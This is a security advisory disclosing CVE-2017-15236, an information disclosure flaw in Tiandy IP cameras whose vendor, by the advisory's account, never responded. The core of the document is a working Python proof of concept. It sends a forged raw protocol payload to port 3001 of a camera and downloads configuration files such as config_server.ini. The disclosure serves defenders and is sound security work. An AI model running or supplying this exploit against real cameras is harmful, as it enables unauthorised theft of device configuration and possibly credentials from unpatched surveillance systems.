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## Vulnerability Summary The following advisory describes sensitive information Disclosure found in Tiandy IP cameras version 5.56.17.120 Tianjin Tiandy Digital Technology Co., Ltd ( Tiandy Tech) is “one of top 10 leading CCTV manufacturer in China and a global supplier of advanced video surveillance solutions.” ## Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ## Vendor response We tried to contact Tiandy starting from August 16 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for this vulnerability. CVE: CVE-2017-15236 ## Vulnerability details Tiandy uses a proprietary protocol, a flaw in the protocol allows an attacker to forge a request that will return configuration settings of the Tiandy IP camera. ## Proof of Concept By sending the following request, an attacker can download the following files: config_server.ini extendword.txt config_ptz.dat config_right.dat config_dg.dat config_burn.dat </code><code> ## POC.PY </code><code> import socket ip = '192.168.1.1' data1 = '\x74\x1f\x4a\x84\xc8\xa8\xe4\xb3\x18\x7f\xd2\x21\x08\x00\x45\x00\x00\xcc\x3e\x9a\x40\x00\x40\x06\xd4\x13\xac\x10\x65\x75\x6e\x31\xa7\xc7\x43\x5b\x0b\xb9\x85\xbc\x1d\xf0\x5b\x3e\xe8\x32\x50' + '\x18\x7f\xa4\xc6\xcf\x00\x00\xf1\xf5\xea\xf5\x74\x00\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00' + ip + '\x09\x50\x52\x4f\x58\x59\x09\x43\x4d\x44\x09\x44\x48\x09\x43\x46\x47\x46\x49\x4c\x45\x09\x44\x4f\x57\x4e\x4c\x4f\x41\x44\x09\x36\x09\x63\x6f\x6e\x66\x69\x67\x5f\x73\x65\x72\x76\x65\x72\x2e' + '\x69\x6e\x69\x09\x65\x78\x74\x65\x6e\x64\x77\x6f\x72\x64\x2e\x74\x78\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x70\x74\x7a\x2e\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x72\x69\x67\x68\x74\x2e' + '\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x64\x67\x2e\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x62\x75\x72\x6e\x2e\x64\x61\x74\x0a\x0a\x0a' s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,3001)) s.send(data1) while True: buf = s.recv(64) if not len(buf): break print buf </code>` |
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